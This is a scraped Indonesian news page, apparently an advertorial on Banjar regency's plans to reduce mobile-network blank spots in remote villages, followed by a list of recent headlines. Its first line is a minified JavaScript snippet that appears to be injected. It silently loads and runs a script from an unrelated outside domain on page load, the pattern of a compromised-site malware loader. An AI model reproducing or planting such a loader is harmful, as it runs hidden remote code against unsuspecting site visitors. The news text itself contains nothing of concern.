(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

Diskominfo Banjar Upayakan Perkecil Area Blank Spot


MARTAPURA, Masih terbatasnya layanan jaringan telekomunikasi di daerah-daerah pelosok di Kabupaten Banjar menjadi pekerjaan rumah pemerintah daerah. Menanggapi kondisi itu, Dinas Komunikasi Informatika, Statistik dan Persandian Kabupaten Banjar rencanakan meluncurkan program utama 3T.

Kepala Dinas Kominfo Statistik dan Persandian Kabupaten Banjar Ir H Farid Soufian tidak menampik dan mengakui masih ada blank spot area jaringan komunikasi.

“Untuk daerah-daerah terpencil seperti Paramasan, Sambung Makmur, Aranio dan daerah terpencil lainnya di Kabupaten Banjar memang masih mengalami blank spot,” aku Farid Soufian.

Menurut pengakuan Farid Saoufian, pemerintah melalui Kementerian Komunikasi dan Informatika terus mendorong pemerataan pembangunan infrastruktur telekomunikasi dan informasi melalui penggunaan dana Universal Service Obligation (USO) yang pelaksanaannya diserahkan kepada Balai Penyedia dan Pengelola Pembiayaan Telekomunikasi dan Informatika (BP3TI).

Dorongan pemerintah tersebut bertujuan untuk pemerataan sarana telekomunikasi dan informasi khususnya di daerah yang masuk dalam wilayah 3T (tertinggal, terluar, terdepan) dan perbatasan.

“Untuk Kalimatan Selatan sendiri layanan jaringan tersebut saat ini diperuntukan di daerah Hulu Suungai Utara,” sebut Farid.

Pihak Dikominfo Statistik dan Persandian Banjar akan terus mengupayakan agar jaringan di daerah-daerah pelosok yang ada di Kabupaten Banjar itu bisa terlayani.

“Kita masih menyiapkan data-data yang valid dan akurat untuk program tersebut,” ujar Farid. “Contohnya kita harus menyiapkan  tanah dengan ukuran 30×30 yang ada jaringan listrik sebagai tempat pinjam pakai untuk lahan berdirinya BTS tersebut,” sambungnya.

Masih menurut Farid, melalui anggota DPR RI daerah pemilihan Kalsel, pihaknya akan meminta bantuan untuk dapat memperjuangkan keinginan warga pelosok yang ada di Kabupaten Banjar, terkait layanan jaringan ini. (rendy)

Reporter: Rendy
Editor: Abi Zharrin Al Ghifari

Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

12 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.